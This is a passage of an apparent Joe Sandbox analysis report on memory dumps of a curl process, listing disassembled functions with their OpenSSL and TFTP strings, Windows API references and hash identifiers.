Associated: 00000025.00000002.3523429860.0000000000AD3000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000025.00000002.3523453608.0000000000AD4000.00000008.00000001.01000000.00000006.sdmpDownload File
Associated: 00000025.00000002.3523524257.0000000000B17000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000025.00000002.3523561651.0000000000B1C000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_37_2_970000_curl.jbxd

Similarity

API ID:
String ID: ....................$..\..\openssl\openssl\crypto\evp\digest.c$..\..\openssl\openssl\crypto\rand\md_rand.c$..\..\openssl\openssl\crypto\rand\md_rand.c$..\..\openssl\openssl\crypto\rand\md_rand.c$..\..\openssl\openssl\crypto\rand\md_rand.c$..\..\openssl\openssl\crypto\rand\md_rand.c$..\..\openssl\openssl\crypto\rand\md_rand.c$..\..\openssl\openssl\crypto\rand\md_rand.c$You need to read the OpenSSL FAQ, http://www.openssl.org/support/faq.html$ctx->digest->md_size <= EVP_MAX_MD_SIZE$gfff
API String ID: 0-1816848540
Opcode ID: 80ed80ee63a284fe837c1d8a547cfb780edd9563dfdb7148a7779ed7639f1eec
Instruction ID: 81a16d2b2d7ff6fa215fb7d939b6f33ab6982bcfe9e397dfea617c358f7d19e0
Opcode Fuzzy Hash: 80ed80ee63a284fe837c1d8a547cfb780edd9563dfdb7148a7779ed7639f1eec
Instruction Fuzzy Hash: 41F12430A083809BD311DF79EC41B9ABBE4BFA9B40F44492DF992D7252EB70D845C752

Function 009E5530 Relevance: 20.7, Strings: 16, Instructions: 682COMMON

Download Yara Rule

Strings

..\..\openssl\openssl\ssl\s3_pkt.c, xrefs: 009E5BC7
..\..\openssl\openssl\ssl\s3_pkt.c, xrefs: 009E55AE
..\..\openssl\openssl\ssl\s3_pkt.c, xrefs: 009E5C33
..\..\openssl\openssl\ssl\s3_pkt.c, xrefs: 009E5B68
..\..\openssl\openssl\ssl\s3_pkt.c, xrefs: 009E5C7B
..\..\openssl\openssl\ssl\s3_pkt.c, xrefs: 009E5DB9
SSL alert number , xrefs: 009E5BF5
..\..\openssl\openssl\ssl\s3_pkt.c, xrefs: 009E5884
..\..\openssl\openssl\ssl\s3_pkt.c, xrefs: 009E5D32
..\..\openssl\openssl\ssl\s3_pkt.c, xrefs: 009E568D
..\..\openssl\openssl\ssl\s3_pkt.c, xrefs: 009E5B54
..\..\openssl\openssl\ssl\s3_pkt.c, xrefs: 009E5D21
..\..\openssl\openssl\ssl\s3_pkt.c, xrefs: 009E5D0D
..\..\openssl\openssl\ssl\s3_pkt.c, xrefs: 009E5C4C
..\..\openssl\openssl\ssl\s3_pkt.c, xrefs: 009E5B7E
..\..\openssl\openssl\ssl\s3_pkt.c, xrefs: 009E5C60

Memory Dump Source

Source File: 00000025.00000002.3522749592.0000000000971000.00000020.00000001.01000000.00000006.sdmp, Offset: 00970000, based on PE: true

Associated: 00000025.00000002.3522720439.0000000000970000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000025.00000002.3523031186.0000000000A8D000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000025.00000002.3523129214.0000000000AB9000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000025.00000002.3523158175.0000000000ABB000.00000008.00000001.01000000.00000006.sdmpDownload File
Associated: 00000025.00000002.3523188103.0000000000AC0000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000025.00000002.3523217262.0000000000AC1000.00000008.00000001.01000000.00000006.sdmpDownload File
Associated: 00000025.00000002.3523253438.0000000000ACB000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000025.00000002.3523299700.0000000000ACC000.00000008.00000001.01000000.00000006.sdmpDownload File
Associated: 00000025.00000002.3523328108.0000000000ACD000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000025.00000002.3523353916.0000000000ACF000.00000008.00000001.01000000.00000006.sdmpDownload File
Associated: 00000025.00000002.3523377120.0000000000AD1000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000025.00000002.3523404946.0000000000AD2000.00000008.00000001.01000000.00000006.sdmpDownload File
Associated: 00000025.00000002.3523429860.0000000000AD3000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000025.00000002.3523453608.0000000000AD4000.00000008.00000001.01000000.00000006.sdmpDownload File
Associated: 00000025.00000002.3523524257.0000000000B17000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000025.00000002.3523561651.0000000000B1C000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_37_2_970000_curl.jbxd

Similarity

API ID:
String ID: ..\..\openssl\openssl\ssl\s3_pkt.c$..\..\openssl\openssl\ssl\s3_pkt.c$..\..\openssl\openssl\ssl\s3_pkt.c$..\..\openssl\openssl\ssl\s3_pkt.c$..\..\openssl\openssl\ssl\s3_pkt.c$..\..\openssl\openssl\ssl\s3_pkt.c$..\..\openssl\openssl\ssl\s3_pkt.c$..\..\openssl\openssl\ssl\s3_pkt.c$..\..\openssl\openssl\ssl\s3_pkt.c$..\..\openssl\openssl\ssl\s3_pkt.c$..\..\openssl\openssl\ssl\s3_pkt.c$..\..\openssl\openssl\ssl\s3_pkt.c$..\..\openssl\openssl\ssl\s3_pkt.c$..\..\openssl\openssl\ssl\s3_pkt.c$..\..\openssl\openssl\ssl\s3_pkt.c$SSL alert number
API String ID: 0-1139219194
Opcode ID: e2f8cf7c7df731530ac54107843593e7bccce54cce97e4f8ecc0a97ab4fe958f
Instruction ID: bf41d2c3b1c01ba566a89d36fe0273c9a6e773b17c98ec97a360d6aa0e6c697f
Opcode Fuzzy Hash: e2f8cf7c7df731530ac54107843593e7bccce54cce97e4f8ecc0a97ab4fe958f
Instruction Fuzzy Hash: 0B322830600B809BD725DF16CC85BAAB3E4BF8471CF95492DE54A4B6C2D7B6ED84CB81

Function 009EE0E0 Relevance: 19.6, Strings: 15, Instructions: 878COMMON

Download Yara Rule

Strings

..\..\openssl\openssl\crypto\evp\digest.c, xrefs: 009EE551
..\..\openssl\openssl\ssl\s3_enc.c, xrefs: 009EE6D0
..\..\openssl\openssl\crypto\evp\evp_lib.c, xrefs: 009EEB99
..\..\openssl\openssl\ssl\s3_enc.c, xrefs: 009EE98D
..\..\openssl\openssl\ssl\s3_enc.c, xrefs: 009EE782, 009EE7A2, 009EE7C7
..\..\openssl\openssl\ssl\s3_enc.c, xrefs: 009EE711
..\..\openssl\openssl\ssl\s3_enc.c, xrefs: 009EE854
..\..\openssl\openssl\ssl\s3_enc.c, xrefs: 009EE607, 009EE627, 009EE64C
ctx->digest->md_size <= EVP_MAX_MD_SIZE, xrefs: 009EE547
..\..\openssl\openssl\ssl\s3_enc.c, xrefs: 009EEAF5
..\..\openssl\openssl\ssl\s3_enc.c, xrefs: 009EEBFD
..\..\openssl\openssl\ssl\s3_enc.c, xrefs: 009EE386
..\..\openssl\openssl\ssl\s3_enc.c, xrefs: 009EEB47
..\..\openssl\openssl\ssl\s3_enc.c, xrefs: 009EEBE3
..\..\openssl\openssl\ssl\s3_enc.c, xrefs: 009EE7E6

Memory Dump Source

Source File: 00000025.00000002.3522749592.0000000000971000.00000020.00000001.01000000.00000006.sdmp, Offset: 00970000, based on PE: true

Associated: 00000025.00000002.3522720439.0000000000970000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000025.00000002.3523031186.0000000000A8D000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000025.00000002.3523129214.0000000000AB9000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000025.00000002.3523158175.0000000000ABB000.00000008.00000001.01000000.00000006.sdmpDownload File
Associated: 00000025.00000002.3523188103.0000000000AC0000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000025.00000002.3523217262.0000000000AC1000.00000008.00000001.01000000.00000006.sdmpDownload File
Associated: 00000025.00000002.3523253438.0000000000ACB000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000025.00000002.3523299700.0000000000ACC000.00000008.00000001.01000000.00000006.sdmpDownload File
Associated: 00000025.00000002.3523328108.0000000000ACD000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000025.00000002.3523353916.0000000000ACF000.00000008.00000001.01000000.00000006.sdmpDownload File
Associated: 00000025.00000002.3523377120.0000000000AD1000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000025.00000002.3523404946.0000000000AD2000.00000008.00000001.01000000.00000006.sdmpDownload File
Associated: 00000025.00000002.3523429860.0000000000AD3000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000025.00000002.3523453608.0000000000AD4000.00000008.00000001.01000000.00000006.sdmpDownload File
Associated: 00000025.00000002.3523524257.0000000000B17000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000025.00000002.3523561651.0000000000B1C000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_37_2_970000_curl.jbxd

Similarity

API ID:
String ID: ..\..\openssl\openssl\crypto\evp\digest.c$..\..\openssl\openssl\crypto\evp\evp_lib.c$..\..\openssl\openssl\ssl\s3_enc.c$..\..\openssl\openssl\ssl\s3_enc.c$..\..\openssl\openssl\ssl\s3_enc.c$..\..\openssl\openssl\ssl\s3_enc.c$..\..\openssl\openssl\ssl\s3_enc.c$..\..\openssl\openssl\ssl\s3_enc.c$..\..\openssl\openssl\ssl\s3_enc.c$..\..\openssl\openssl\ssl\s3_enc.c$..\..\openssl\openssl\ssl\s3_enc.c$..\..\openssl\openssl\ssl\s3_enc.c$..\..\openssl\openssl\ssl\s3_enc.c$..\..\openssl\openssl\ssl\s3_enc.c$ctx->digest->md_size <= EVP_MAX_MD_SIZE
API String ID: 0-1656994109
Opcode ID: 6d193a56fa8a0dfc48b930d2ad24cbaca4a955fb1a15d4571b0704fc30bb46de
Instruction ID: 46d95a0bbe92cf5de40fc40eb0b7ec227a9f71efc731a248a7702f1432e3a554
Opcode Fuzzy Hash: 6d193a56fa8a0dfc48b930d2ad24cbaca4a955fb1a15d4571b0704fc30bb46de
Instruction Fuzzy Hash: 1772BE716043819BD711CF29C845FABB7E5BFC4704F08892DF5898B292EB71E949CB92

Function 009E61A0 Relevance: 17.9, APIs: 1, Strings: 9, Instructions: 372COMMON

Download Yara Rule

Strings

..\..\openssl\openssl\crypto\evp\digest.c, xrefs: 009E660E
..\..\openssl\openssl\crypto\rand\md_rand.c, xrefs: 009E6277
..\..\openssl\openssl\crypto\rand\md_rand.c, xrefs: 009E624D
..\..\openssl\openssl\crypto\rand\md_rand.c, xrefs: 009E634C
..\..\openssl\openssl\crypto\rand\md_rand.c, xrefs: 009E65E5
..\..\openssl\openssl\crypto\rand\md_rand.c, xrefs: 009E6572
gfff, xrefs: 009E630F
..\..\openssl\openssl\crypto\rand\md_rand.c, xrefs: 009E620D
ctx->digest->md_size <= EVP_MAX_MD_SIZE, xrefs: 009E6604

Memory Dump Source

Source File: 00000025.00000002.3522749592.0000000000971000.00000020.00000001.01000000.00000006.sdmp, Offset: 00970000, based on PE: true

Associated: 00000025.00000002.3522720439.0000000000970000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000025.00000002.3523031186.0000000000A8D000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000025.00000002.3523129214.0000000000AB9000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000025.00000002.3523158175.0000000000ABB000.00000008.00000001.01000000.00000006.sdmpDownload File
Associated: 00000025.00000002.3523188103.0000000000AC0000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000025.00000002.3523217262.0000000000AC1000.00000008.00000001.01000000.00000006.sdmpDownload File
Associated: 00000025.00000002.3523253438.0000000000ACB000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000025.00000002.3523299700.0000000000ACC000.00000008.00000001.01000000.00000006.sdmpDownload File
Associated: 00000025.00000002.3523328108.0000000000ACD000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000025.00000002.3523353916.0000000000ACF000.00000008.00000001.01000000.00000006.sdmpDownload File
Associated: 00000025.00000002.3523377120.0000000000AD1000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000025.00000002.3523404946.0000000000AD2000.00000008.00000001.01000000.00000006.sdmpDownload File
Associated: 00000025.00000002.3523429860.0000000000AD3000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000025.00000002.3523453608.0000000000AD4000.00000008.00000001.01000000.00000006.sdmpDownload File
Associated: 00000025.00000002.3523524257.0000000000B17000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000025.00000002.3523561651.0000000000B1C000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_37_2_970000_curl.jbxd

Similarity

API ID:
String ID: ..\..\openssl\openssl\crypto\evp\digest.c$..\..\openssl\openssl\crypto\rand\md_rand.c$..\..\openssl\openssl\crypto\rand\md_rand.c$..\..\openssl\openssl\crypto\rand\md_rand.c$..\..\openssl\openssl\crypto\rand\md_rand.c$..\..\openssl\openssl\crypto\rand\md_rand.c$..\..\openssl\openssl\crypto\rand\md_rand.c$ctx->digest->md_size <= EVP_MAX_MD_SIZE$gfff
API String ID: 0-3750532213
Opcode ID: 71db137bcb09b5ef1634ff03ff831f22a1e6fcb961add95f0e092616274a159a
Instruction ID: 7ea21173db38390fb79f40828f1144366485f1f1ebeed35eed3d851523bab067
Opcode Fuzzy Hash: 71db137bcb09b5ef1634ff03ff831f22a1e6fcb961add95f0e092616274a159a
Instruction Fuzzy Hash: 05D10131A043819BD715CF69DC41BAAB7E8BFA4B40F444A2DF955DB292EB70DE04C782

Function 009A74D0 Relevance: 17.9, APIs: 2, Strings: 8, Instructions: 364COMMON

Download Yara Rule

Strings

octet, xrefs: 009A74E6
netascii, xrefs: 009A74EB, 009A75CB, 009A77DC
timeout, xrefs: 009A7761, 009A778A
%s%c%s%c, xrefs: 009A75D4
blksize, xrefs: 009A76DB, 009A7702
tsize, xrefs: 009A7654, 009A767A
%lld, xrefs: 009A762D
tftp_send_first: internal error, xrefs: 009A78D1

Memory Dump Source

Source File: 00000025.00000002.3522749592.0000000000971000.00000020.00000001.01000000.00000006.sdmp, Offset: 00970000, based on PE: true

Associated: 00000025.00000002.3522720439.0000000000970000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000025.00000002.3523031186.0000000000A8D000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000025.00000002.3523129214.0000000000AB9000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000025.00000002.3523158175.0000000000ABB000.00000008.00000001.01000000.00000006.sdmpDownload File
Associated: 00000025.00000002.3523188103.0000000000AC0000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000025.00000002.3523217262.0000000000AC1000.00000008.00000001.01000000.00000006.sdmpDownload File
Associated: 00000025.00000002.3523253438.0000000000ACB000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000025.00000002.3523299700.0000000000ACC000.00000008.00000001.01000000.00000006.sdmpDownload File
Associated: 00000025.00000002.3523328108.0000000000ACD000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000025.00000002.3523353916.0000000000ACF000.00000008.00000001.01000000.00000006.sdmpDownload File
Associated: 00000025.00000002.3523377120.0000000000AD1000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000025.00000002.3523404946.0000000000AD2000.00000008.00000001.01000000.00000006.sdmpDownload File
Associated: 00000025.00000002.3523429860.0000000000AD3000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000025.00000002.3523453608.0000000000AD4000.00000008.00000001.01000000.00000006.sdmpDownload File
Associated: 00000025.00000002.3523524257.0000000000B17000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000025.00000002.3523561651.0000000000B1C000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_37_2_970000_curl.jbxd

Similarity

API ID:
String ID: %lld$%s%c%s%c$blksize$netascii$octet$tftp_send_first: internal error$timeout$tsize
API String ID: 0-3145828919
Opcode ID: f89a9b1623ddc1ed0c84991e3402aea10e95515f227354d44006305c4f9b49ac
Instruction ID: 70485281e7fff312d6c37662acf601a1e95841172f3ed9dfb72e1fab3569de26
Opcode Fuzzy Hash: f89a9b1623ddc1ed0c84991e3402aea10e95515f227354d44006305c4f9b49ac
Instruction Fuzzy Hash: AEC1F9763086005FC714DF78CC92BABF7E6AFC6304F09492DE45A87252EA36E9098791

Function 009DAC50 Relevance: 15.8, APIs: 7, Strings: 2, Instructions: 77registrywindowCOMMON

Download Yara Rule

APIs

GetStdHandle.KERNEL32(000000F4), ref: 009DAC66
GetFileType.KERNEL32(00000000), ref: 009DAC71
GetVersion.KERNEL32 ref: 009DACD9
RegisterEventSourceA.ADVAPI32(00000000,OPENSSL), ref: 009DACF7
ReportEventA.ADVAPI32(00000000,00000001,00000000,00000000,00000000,00000001,00000000,?,00000000), ref: 009DAD1B
DeregisterEventSource.ADVAPI32(00000000), ref: 009DAD22
MessageBoxA.USER32(00000000,?,OpenSSL: FATAL,00000010), ref: 009DAD4C

Strings

OPENSSL, xrefs: 009DACF0
OpenSSL: FATAL, xrefs: 009DAD40

Memory Dump Source

Source File: 00000025.00000002.3522749592.0000000000971000.00000020.00000001.01000000.00000006.sdmp, Offset: 00970000, based on PE: true

Associated: 00000025.00000002.3522720439.0000000000970000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000025.00000002.3523031186.0000000000A8D000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000025.00000002.3523129214.0000000000AB9000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000025.00000002.3523158175.0000000000ABB000.00000008.00000001.01000000.00000006.sdmpDownload File
Associated: 00000025.00000002.3523188103.0000000000AC0000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000025.00000002.3523217262.0000000000AC1000.00000008.00000001.01000000.00000006.sdmpDownload File
Associated: 00000025.00000002.3523253438.0000000000ACB000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000025.00000002.3523299700.0000000000ACC000.00000008.00000001.01000000.00000006.sdmpDownload File
Associated: 00000025.00000002.3523328108.0000000000ACD000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000025.00000002.3523353916.0000000000ACF000.00000008.00000001.01000000.00000006.sdmpDownload File
Associated: 00000025.00000002.3523377120.0000000000AD1000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000025.00000002.3523404946.0000000000AD2000.00000008.00000001.01000000.00000006.sdmpDownload File
Associated: 00000025.00000002.3523429860.0000000000AD3000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000025.00000002.3523453608.0000000000AD4000.00000008.00000001.01000000.00000006.sdmpDownload File
Associated: 00000025.00000002.3523524257.0000000000B17000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000025.00000002.3523561651.0000000000B1C000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_37_2_970000_curl.jbxd

Similarity

API ID: Event$Source$DeregisterFileHandleMessageRegisterReportTypeVersion
String ID: OPENSSL$OpenSSL: FATAL
API String ID: 2339391290-1348657634
Opcode ID: dcd10ce41466f241a3dc2dd65a708745c0e86229d480f7ea07cfc04cb601fb73
Instruction ID: c4bfc81c3272a7b55668043924bfbe8a9a7524ecb2dfdc5842c973bf6bd91d1b
Opcode Fuzzy Hash: dcd10ce41466f241a3dc2dd65a708745c0e86229d480f7ea07cfc04cb601fb73
Instruction Fuzzy Hash: B721B371A443006FE720EBA0DD47FEF37E8AF98700F40881AF69A861D1EAB594418753

Function 00A072C0 Relevance: 15.4, Strings: 12, Instructions: 393COMMON

Download Yara Rule

Strings

..\..\openssl\openssl\crypto\x509\by_dir.c, xrefs: 00A07728
..\..\openssl\openssl\crypto\x509\by_dir.c, xrefs: 00A074FD
..\..\openssl\openssl\crypto\x509\by_dir.c, xrefs: 00A07561
..\..\openssl\openssl\crypto\x509\by_dir.c, xrefs: 00A07374
..\..\openssl\openssl\crypto\x509\by_dir.c, xrefs: 00A0762D, 00A0764A, 00A0766C
..\..\openssl\openssl\crypto\x509\by_dir.c, xrefs: 00A07583
..\..\openssl\openssl\crypto\x509\by_dir.c, xrefs: 00A075E3
%s%c%08lx.%s%d, xrefs: 00A0748D
..\..\openssl\openssl\crypto\x509\by_dir.c, xrefs: 00A0775F
..\..\openssl\openssl\crypto\x509\by_dir.c, xrefs: 00A07409
..\..\openssl\openssl\crypto\x509\by_dir.c, xrefs: 00A076A7
..\..\openssl\openssl\crypto\x509\by_dir.c, xrefs: 00A07460

Memory Dump Source

Source File: 00000025.00000002.3522749592.0000000000971000.00000020.00000001.01000000.00000006.sdmp, Offset: 00970000, based on PE: true

Associated: 00000025.00000002.3522720439.0000000000970000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000025.00000002.3523031186.0000000000A8D000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000025.00000002.3523129214.0000000000AB9000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000025.00000002.3523158175.0000000000ABB000.00000008.00000001.01000000.00000006.sdmpDownload File
Associated: 00000025.00000002.3523188103.0000000000AC0000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000025.00000002.3523217262.0000000000AC1000.00000008.00000001.01000000.00000006.sdmpDownload File
Associated: 00000025.00000002.3523253438.0000000000ACB000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000025.00000002.3523299700.0000000000ACC000.00000008.00000001.01000000.00000006.sdmpDownload File
Associated: 00000025.00000002.3523328108.0000000000ACD000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000025.00000002.3523353916.0000000000ACF000.00000008.00000001.01000000.00000006.sdmpDownload File
Associated: 00000025.00000002.3523377120.0000000000AD1000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000025.00000002.3523404946.0000000000AD2000.00000008.00000001.01000000.00000006.sdmpDownload File
Associated: 00000025.00000002.3523429860.0000000000AD3000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000025.00000002.3523453608.0000000000AD4000.00000008.00000001.01000000.00000006.sdmpDownload File
Associated: 00000025.00000002.3523524257.0000000000B17000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000025.00000002.3523561651.0000000000B1C000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_37_2_970000_curl.jbxd

Similarity

API ID:
String ID: %s%c%08lx.%s%d$..\..\openssl\openssl\crypto\x509\by_dir.c$..\..\openssl\openssl\crypto\x509\by_dir.c$..\..\openssl\openssl\crypto\x509\by_dir.c$..\..\openssl\openssl\crypto\x509\by_dir.c$..\..\openssl\openssl\crypto\x509\by_dir.c$..\..\openssl\openssl\crypto\x509\by_dir.c$..\..\openssl\openssl\crypto\x509\by_dir.c$..\..\openssl\openssl\crypto\x509\by_dir.c$..\..\openssl\openssl\crypto\x509\by_dir.c$..\..\openssl\openssl\crypto\x509\by_dir.c$..\..\openssl\openssl\crypto\x509\by_dir.c
API String ID: 0-1387010527
Opcode ID: 5d72278de146f404e98356b5028e907c60ab5e0acdec871b11303c5680ab9016
Instruction ID: eaecbea16983d14fa9def8c5b6a51098fb273506c33f0ee11f3559b08fac81e3
Opcode Fuzzy Hash: 5d72278de146f404e98356b5028e907c60ab5e0acdec871b11303c5680ab9016
Instruction Fuzzy Hash: 2BE19E30B483059BD720DF55E882BAEB7E1BB84714F04892DF9599B2D1DBB1F805CB92

Function 00A02360 Relevance: 13.1, Strings: 10, Instructions: 647COMMON

Download Yara Rule

Strings

..\..\openssl\openssl\crypto\evp\digest.c, xrefs: 00A028A2
%s:%d: rec->data != rec->input, xrefs: 00A0240C
..\..\openssl\openssl\crypto\evp\evp_lib.c, xrefs: 00A0273E, 00A02773, 00A02969
..\..\openssl\openssl\ssl\t1_enc.c, xrefs: 00A02799
..\..\openssl\openssl\ssl\t1_enc.c, xrefs: 00A02764
n >= 0, xrefs: 00A0275A
..\..\openssl\openssl\ssl\t1_enc.c, xrefs: 00A02407
..\..\openssl\openssl\ssl\t1_enc.c, xrefs: 00A027FA
n >= 0, xrefs: 00A0278F
ctx->digest->md_size <= EVP_MAX_MD_SIZE, xrefs: 00A02898

Memory Dump Source

Source File: 00000025.00000002.3522749592.0000000000971000.00000020.00000001.01000000.00000006.sdmp, Offset: 00970000, based on PE: true

Associated: 00000025.00000002.3522720439.0000000000970000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000025.00000002.3523031186.0000000000A8D000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000025.00000002.3523129214.0000000000AB9000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000025.00000002.3523158175.0000000000ABB000.00000008.00000001.01000000.00000006.sdmpDownload File
Associated: 00000025.00000002.3523188103.0000000000AC0000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000025.00000002.3523217262.0000000000AC1000.00000008.00000001.01000000.00000006.sdmpDownload File
Associated: 00000025.00000002.3523253438.0000000000ACB000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000025.00000002.3523299700.0000000000ACC000.00000008.00000001.01000000.00000006.sdmpDownload File
Associated: 00000025.00000002.3523328108.0000000000ACD000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000025.00000002.3523353916.0000000000ACF000.00000008.00000001.01000000.00000006.sdmpDownload File
Associated: 00000025.00000002.3523377120.0000000000AD1000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000025.00000002.3523404946.0000000000AD2000.00000008.00000001.01000000.00000006.sdmpDownload File
Associated: 00000025.00000002.3523429860.0000000000AD3000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000025.00000002.3523453608.0000000000AD4000.00000008.00000001.01000000.00000006.sdmpDownload File
Associated: 00000025.00000002.3523524257.0000000000B17000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000025.00000002.3523561651.0000000000B1C000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_37_2_970000_curl.jbxd

Similarity

API ID:
String ID: %s:%d: rec->data != rec->input$..\..\openssl\openssl\crypto\evp\digest.c$..\..\openssl\openssl\crypto\evp\evp_lib.c$..\..\openssl\openssl\ssl\t1_enc.c$..\..\openssl\openssl\ssl\t1_enc.c$..\..\openssl\openssl\ssl\t1_enc.c$..\..\openssl\openssl\ssl\t1_enc.c$ctx->digest->md_size <= EVP_MAX_MD_SIZE$n >= 0$n >= 0
API String ID: 0-747404481
Opcode ID: 432a62e05db17468e22f8a0160ee11d7262362a3984018776941ce01e561872f
Instruction ID: 89c190b5887cf4d0007245c31ef9a4405d0f2fcd91369f2410c64749ffaa8075
Opcode Fuzzy Hash: 432a62e05db17468e22f8a0160ee11d7262362a3984018776941ce01e561872f
Instruction Fuzzy Hash: A4329D356043458FD714CF29E895B6AB3E2EF84314F14896DF8998B2D2EB31ED05CB92

Function 00A0AD20 Relevance: 10.7, Strings: 8, Instructions: 712COMMON

Download Yara Rule

Strings

..\..\openssl\openssl\crypto\evp\digest.c, xrefs: 00A0B6A7
..\..\openssl\openssl\ssl\s3_cbc.c, xrefs: 00A0B6BB
..\..\openssl\openssl\ssl\s3_cbc.c, xrefs: 00A0B693
data_plus_mac_plus_padding_size < 1024*1024, xrefs: 00A0B6B1
mac_secret_length <= sizeof(hmac_pad), xrefs: 00A0B689
..\..\openssl\openssl\ssl\s3_cbc.c, xrefs: 00A0B67F
ctx->digest->md_size <= EVP_MAX_MD_SIZE, xrefs: 00A0B69D
j, xrefs: 00A0B4A0

Memory Dump Source

Source File: 00000025.00000002.3522749592.0000000000971000.00000020.00000001.01000000.00000006.sdmp, Offset: 00970000, based on PE: true

Associated: 00000025.00000002.3522720439.0000000000970000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000025.00000002.3523031186.0000000000A8D000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000025.00000002.3523129214.0000000000AB9000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000025.00000002.3523158175.0000000000ABB000.00000008.00000001.01000000.00000006.sdmpDownload File
Associated: 00000025.00000002.3523188103.0000000000AC0000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000025.00000002.3523217262.0000000000AC1000.00000008.00000001.01000000.00000006.sdmpDownload File
Associated: 00000025.00000002.3523253438.0000000000ACB000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000025.00000002.3523299700.0000000000ACC000.00000008.00000001.01000000.00000006.sdmpDownload File
Associated: 00000025.00000002.3523328108.0000000000ACD000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000025.00000002.3523353916.0000000000ACF000.00000008.00000001.01000000.00000006.sdmpDownload File
Associated: 00000025.00000002.3523377120.0000000000AD1000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000025.00000002.3523404946.0000000000AD2000.00000008.00000001.01000000.00000006.sdmpDownload File
Associated: 00000025.00000002.3523429860.0000000000AD3000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000025.00000002.3523453608.0000000000AD4000.00000008.00000001.01000000.00000006.sdmpDownload File
Associated: 00000025.00000002.3523524257.0000000000B17000.00000004.00000001.01000000.00000006.sdmpDownload File
